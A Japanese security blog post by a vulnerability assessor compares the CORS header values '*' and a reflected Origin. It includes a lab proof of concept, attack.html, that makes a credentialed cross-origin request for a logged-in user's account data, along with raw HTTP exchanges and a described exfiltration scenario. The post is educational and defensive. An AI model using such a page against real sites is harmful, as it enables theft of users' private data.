はじめに
こんにちは。ご無沙汰しております。脆弱性診断員の百田です。
今回は、実際に脆弱性診断をしていたときに考えていた、そこまで重要でもないと思われることをここに吐き出します。
その内容は、題名にもあるとおりレスポンスヘッダの「Access-Control-Allow-Origin」に設定される値についてです。
注意点として「Access-Control-Allow-Origin」に設定される値自体はどうでも良くないです。重要です。 理由がよくわからない場合は以下の記事をご覧いただければと思います。
では、そこまで重要でもないと思ったのは何なのか......。それは「Access-Control-Allow-Origin」に以下の値が設定されていた場合、どちらがセキュリティ的にマシなのか?という点です。
Access-Control-Allow-Origin: * Access-Control-Allow-Origin: {リクエストの Origin ヘッダの値}
この「どちらがマシなのか?」という視点は、完全に脆弱性診断員のようなシステムを見る側のものです。作る側の開発者視点であれば、これらは基本的にどちらも設定すべきではないという結論になります。
これ以降はどちらの値の方がマシなのか?ということに対する考察を書いていきます*1。「結果だけならみてやっても良い」とか「先に結果を聞いたうえで読みたい」という場合は、記事の最後のまとめ部分をご覧ください。
「Access-Control-Allow-Origin」にこれらの値が設定された場合、一緒にレスポンスにて返却された内容に対して、どのオリジンの Web サイトでも(JavaScript による)アクセスが可能であるということになります。 (以降では「レスポンスにて返却された内容」を「リソース」とします。また、Web サイトに設置された JavaScript からリソースにアクセスすることを「リソースにアクセス」とします。)
全世界に対して公開する API のようなものであれば、これらの値を設定するのは問題ありません(というよりは、そうしないと外部サイトからの利用に支障がでます)。逆にいうと、外部サイト(クロスオリジン)からリソースにアクセスされたくない場合はこれらの値を設定するべきではありません。
しかしながら、外部のサイト(クロスオリジン)からリソースにアクセスされるべきではないサイトでも「Access-Control-Allow-Origin」に「*」やリクエストの Origin ヘッダの値が設定されていることがあります。その場合、例の2つの値のうちどちらを設定されているほうが比較的マシなのだろうか......ということを考え始めたのがこの記事の始まりであり、論点です。
「*」を設定した場合とリクエストの Origin ヘッダを設定した場合の違い
どちらがマシか?というのが今回の問いですので、比較する必要がありますね。
とはいえ、比較というほど多くの違いは存在しません。違うのは「リクエストに資格情報を含めた場合のブラウザの挙動」です。
ここでいう資格情報とは、大抵の場合は Cookie のことです。
資格情報を含んだリクエストに対するレスポンスにて「Access-Control-Allow-Origin」に「*」が設定されている場合は、リソースに JavaScript からアクセスしようとすると、ブラウザがそのアクセスを遮断します。
逆に「Access-Control-Allow-Origin」にリクエストの Origin ヘッダの値が設定されている場合は、特に問題なくリソースへの JavaScript によるアクセスが成功します。
はじめに紹介した記事にも以下のように記載されています。
リクエストが資格情報 (多くの場合は Cookie ヘッダー) を含んでおり、そのレスポンスが Access-Control-Allow-Origin: * ヘッダー (つまりワイルドカード) を含んでいる場合、ブラウザーはレスポンスへのアクセスをブロックし、開発ツールのコンソールに CORS エラーを報告します。
ただし、リクエストが (Cookie ヘッダーのような) 資格情報を含んでおり、そのレスポンスがワイルドカードではない実際のオリジンを含んでいる場合 (例えば Access-Control-Allow-Origin: https://example.com など)、ブラウザーは指定されたオリジンからのレスポンスへのアクセスを許可します。
つまり、以下のようなシナリオの攻撃が行われたときに「Access-Control-Allow-Origin」に「*」が設定されている場合であれば攻撃を防げるということです。
前提: Web サイト「sst-momoda.com」では、ログイン後にhttps://sst-momoda.com/user-info.php
にアクセスすると、レスポンスとしてログイン中のユーザのアカウント情報が返却される。ユーザがログインしているかどうかはCookie(セッションID)の値をもとに判断される。
- 攻撃者が自分のサーバにHTMLコンテンツを用意する。このHTMLコンテンツには以下のように動作する JavaScript が設置されている。
・https://sst-momoda.com/user-info.php
にリクエストを送信する
・https://sst-momoda.com/user-info.php
へのリクエスト時にブラウザに保存されている Cookie を付与する
・レスポンスの内容を攻撃者のサーバに送信する - 攻撃者は何らかの手段を用いて、Web サイト「sst-momoda.com」にログインしているユーザを攻撃者が用意した HTML コンテンツへアクセスさせる。
- HTML コンテンツ中のJavaScriptによって、Web サイト「sst-momoda.com」にログインしているユーザから
https://sst-momoda.com/user-info
にリクエストが送信される。 - HTML コンテンツ中のJavaScriptによって、レスポンスの内容(ユーザのアカウント情報)が攻撃者のサーバに送信される。
このシナリオでは、3. の手順で送信されるリクエストに資格情報(Cookie)が含まれています。そのため、レスポンスの「Access-Control-Allow-Origin」に「*」が設定されている場合は、4. の手順の JavaScript によるリソースのアクセスがブラウザによって拒否され、攻撃は失敗します。
一方で「Access-Control-Allow-Origin」にリクエストの Origin ヘッダ、つまり攻撃者のサーバのオリジンが設定されている場合は、リソースへのアクセスをブラウザが拒否せず攻撃が成功してしまいます。
このことから、私は以下の2つのうちどちらがマシかと問われれば「Access-Control-Allow-Origin: *」の方がマシだと考えています。
Access-Control-Allow-Origin: * Access-Control-Allow-Origin: {リクエストの Origin ヘッダの値}
とはいえ、この考えはあくまでもこの2つの値だけを比べれば"マシ"だとしているだけです。それが良いとは考えていません。外部サイトからリソースへアクセスされたくないのであれば、どちらも設定すべきではないです。
「Access-Control-Allow-Origin」を設定する場合は、意図した Web サイトのオリジンだけを設定するのが一番です。
実際に試してみる
先程紹介したシナリオは、私の頭の中で考えた空想にすぎません。そのため、実際に似たような環境を用意し、どうなるのか試してみました*2。
今回用意した環境について簡単に説明します。なお、説明で例示するリクエスト/レスポンスは部分的に省略したものを記載しています。
まずは、Web サイト「sst-momoda.com」です。
ログインすると Set-Cookie: PHPSESSID=ev4k2kp5nf2ik40mbnhg9r4m8c; path=/; secure; SameSite=None
のように Cookie(セッションID)が発行されます*3。
リクエスト/レスポンスは以下のようになります。
【リクエスト】
POST /login.php HTTP/1.1 Host: sst-momoda.com Cookie: PHPSESSID=um07i0rv51r8bd23fi50qbvj0k Content-Length: 30 Cache-Control: max-age=0 Origin: https://sst-momoda.com Content-Type: application/x-www-form-urlencoded Referer: https://sst-momoda.com/login.php Connection: close name=momoda&password=password!
【レスポンス】
HTTP/1.1 302 Found Date: Tue, 30 Nov 2021 07:43:13 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=ev4k2kp5nf2ik40mbnhg9r4m8c; path=/; secure; SameSite=None Location: /index.php Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
ログイン後に https://sst-momoda.com/user-info.php
へアクセスすると、ログイン中のユーザの情報が JSON 形式で返却されます。
リクエスト/レスポンスは以下のようになります。
【リクエスト】
GET /user-info.php HTTP/1.1 Host: sst-momoda.com Cookie: PHPSESSID=ev4k2kp5nf2ik40mbnhg9r4m8c Connection: close
【レスポンス】
HTTP/1.1 200 OK Date: Tue, 30 Nov 2021 07:54:54 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Content-Length: 49 Connection: close Content-Type: application/json {"name":"momoda","email":"momoda@sst-momoda.com"}
次に、攻撃者のサーバ「evil-momoda.com」です*4。 以下の HTML コンテンツ「attack.html」を設置しています。
【HTML】
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>Attack</title> <script> function request(){ var xhr = new XMLHttpRequest(); xhr.open("GET", "https://sst-momoda.com/user-info.php", true); // リクエストの送信先およびメソッドの指定 xhr.setRequestHeader("Accept", "*/*"); xhr.withCredentials = true; // true の場合、資格情報がリクエストに含まれる xhr.send(); // リクエストの送信 xhr.onreadystatechange = () => { if((xhr.readyState === 4) && (xhr.status === 200)){ // 通信が終了かつレスポンスのステータスコードが200のとき alert(xhr.responseText); // レスポンスの内容を alert で表示する } } } </script> </head> <body onload="request()"> </body> </html>
「attack.html」に設置された JavaScript は https://sst-momoda.com/user-info.php
へリクエストを送信するものです。
レスポンスの内容は alert でブラウザに表示するようになっています。alert できるのであれば、JavaScript がリソースにアクセスできている(つまり、JavaScript によってリソースを攻撃者のサーバに送信可能な状態)ということになります。
環境についてはひととおり説明し終えました。
では「sst-momoda.com」にログイン中のユーザが、攻撃者の用意した HTML コンテンツ「attack.html」にアクセスしたらどうなるのか、実際に試してみます。
以下がアクセスした結果です。
【画面】
GET /user-info.php HTTP/1.1 Host: sst-momoda.com Cookie: PHPSESSID=ev4k2kp5nf2ik40mbnhg9r4m8c Origin: https://evil-momoda.com Referer: https://evil-momoda.com/ Connection: close
【レスポンス】
HTTP/1.1 200 OK Date: Tue, 30 Nov 2021 08:40:24 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Content-Length: 49 Connection: close Content-Type: application/json {"name":"momoda","email":"momoda@sst-momoda.com"}
リクエスト/レスポンスは特に問題なく成功していますが、alert が上がりませんでした。エラーが発生していますね。Google 翻訳を少し修正したものを以下に記載しておきます。
オリジン
https://evil-momoda.com
からhttps://sst-momoda.com/user-info.php
へのXMLHttpRequestによるアクセスがCORSポリシーによってブロックされました。「Access-Control-Allow-Origin」の値 リクエストのクレデンシャルモードが「include」の場合、レスポンスのヘッダーはワイルドカード「*」であってはなりません。 XMLHttpRequestによって開始されたリクエストのクレデンシャルモードは、withCredentials属性によって制御されます。
「Access-Control-Allow-Origin」に「*」が設定されているかつ資格情報が送信されている(xhr.withCredentials = true;
が設定されている)場合には、リソースへの JavaScript によるアクセスが拒否されることを確認できました。
次に「Access-Control-Allow-Origin」に Origin ヘッダの値(今回の場合は https://evil-momoda.com
)が設定される場合はどうなるか試します。以下がその結果です。
【画面】
【リクエスト】変わらないので省略
【レスポンス】
HTTP/1.1 200 OK Date: Tue, 30 Nov 2021 09:03:31 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://evil-momoda.com Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Content-Length: 49 Connection: close Content-Type: application/json {"name":"momoda","email":"momoda@sst-momoda.com"}
alert は上がらず、またもやエラーが発生しています。予想に反する形です。しかし、エラーを見てみると当然の結果であることがわかります。
https://evil-momoda.com
からhttps://sst-momoda.com/user-info.php
へのXMLHttpRequestによるアクセスは、CORSポリシーによってブロックされています。'Access-Control-Allow-Credentials'ヘッダーは' 'であり、リクエストのクレデンシャルモードが「include」の場合は「true」である必要があります。 XMLHttpRequestによって開始されたリクエストのクレデンシャルモードは、withCredentials属性によって制御されます。
資格情報が送信されている場合「Access-Control-Allow-Credentials」に「true」が設定されていなければ、リソースへのアクセスがブロックされるということのようです。
では実際に「Access-Control-Allow-Credentials: true」を設定して試してみます。以下はその結果です。
【画面】
【リクエスト】変わらないので省略
【レスポンス】
HTTP/1.1 200 OK Date: Tue, 30 Nov 2021 09:19:08 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://evil-momoda.com Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Credentials: true Content-Length: 49 Connection: close Content-Type: application/json {"name":"momoda","email":"momoda@sst-momoda.com"}
今度は予想したとおりの結果となりました。「Access-Control-Allow-Credentials: true」の設定が必要だという知識はあったのですが、すっかり忘れていました*5。
ともあれ、これで私の空想が現実であることが証明されました*6。
「*」が設定されている場合のブラウザの挙動に対する考察
ここでは、おまけとして(ニッチな)本題から逸れた疑問に軽く触れます。なお、ここでは「リクエストに資格情報を含めなければ取得できないリソース(レスポンス)」のことを「資格情報が必要なリソース」とします。
ここで取り扱う疑問は、なぜ「Access-Control-Allow-Origin」に「*」が設定されているときに、資格情報が必要なリソースへのアクセスをブラウザが拒否するのかというものです。 これは「Access-Control-Allow-Origin」に、システムの開発者が意図した Web サイトのオリジンを設定した場合と比べるとわかりやすいです。
【比較対象】
Access-Control-Allow-Origin: * Access-Control-Allow-Origin: {システムの開発者が意図した Web サイトのオリジン}
「システムの開発者が意図した Web サイト」とは、要はシステムの開発者がリソースへのアクセスを許可したい Web サイトのことです。
この2つの値を設定するコンテンツがどんなものかを考えると、答えが見えてきます
- 「*」を設定するコンテンツ
- 全世界に対して公開する API のようなコンテンツ
- システムの開発者が意図した Web サイトのオリジンを設定するコンテンツ
- リソースへのアクセスが可能な Web サイトや人物を制限したいコンテンツ
「*」を設定するコンテンツが、全世界に対して公開する API のようなコンテンツだとすると、資格情報が必要なリソースへのアクセスをブラウザが拒否する理由にもいくつか見当がつきます。
- 資格情報(Cookie)の送信が不要
- おまじないのように「*」を設定してしまった Web サイトでも、ある程度の安全性を確保する
- 「*」の設定により、リソースへのアクセスが上手くいかないことで、開発者にその設定の危険性を理解させる
その他にもあるでしょうが、私に思いつくのはこの程度です。
逆に、システムの開発者が意図した Web サイトのオリジンを設定する場合に、資格情報が必要なリソースへのアクセスをブラウザが許可する理由も考えてみます。
- システム開発者が明示的に設定したオリジンからのリソースへのアクセスであれば、アクセスに資格情報が必要な場合でも安全だと考えられる
- 「Access-Control-Allow-Credentials」の設定から、アクセスに資格情報が必要なリソースへのアクセスの許可を明示的に確認できる
そのため、問いである、なぜ「Access-Control-Allow-Origin」に「*」が設定されているときに、資格情報が必要なリソースへのアクセスをブラウザが拒否するのか、の答えとしては
- システム開発者が不用意に「Access-Control-Allow-Origin」に「*」を設定しても、できるだけ安全にするため
だと私は考えています。
まとめ
今回の記事は「Access-Control-Allow-Origin」に不用意に設定されている値としてマシなのは
Access-Control-Allow-Origin: * Access-Control-Allow-Origin: {リクエストの Origin ヘッダの値}
この2つのうちどちらか?というテーマでした。
そして「Access-Control-Allow-Origin: *」の方がマシという結論を出しました。理由は、資格情報(Cookie 等)の送信されるクロスオリジンのリクエストにおいて、レスポンスされたリソースへの JavaScript によるアクセスが失敗するためです。
ただし「Access-Control-Allow-Origin: {リクエストの Origin ヘッダの値}」の方も「Access-Control-Allow-Credentials: true」の設定さえなければ、同様にリソースへのアクセスが失敗します。それも加味すると、両者の差は大きくはなさそうですね。
そもそも、どちらも不用意に設定すべきものではないですし。
最後に一番大事なことを書いてこの記事は終わりとさせていただきます。
「Access-Control-Allow-Origin」を設定する場合は、意図した Web サイトのオリジンだけを設定するようにしましょう。
*1:これらの値が設定されていた場合、ブラウザがどのような動きをするのか考え、確かめる記事だと思ったほうが良いかもしれません。
*2:検証は Google Chrome(96.0.4664.45)と Firefox(93.0)にて行いました。
*3:Google Chrome では secure 属性と SameSite=None がないと、クロスオリジンでの XHR を使った通信で Cookie が送信されないため、このような Cookie を発行しています。
*4:私は evil-momoda.com などというおぞましいドメインは所有していません。sst-momoda.com も所有していません。hosts を弄って強引に検証しています。
*5:ごめんなさい。忘れていたなんて嘘なんです。わざとなんです。
*6:残念ながらすべての空想が現実であることが証明されたわけではありません。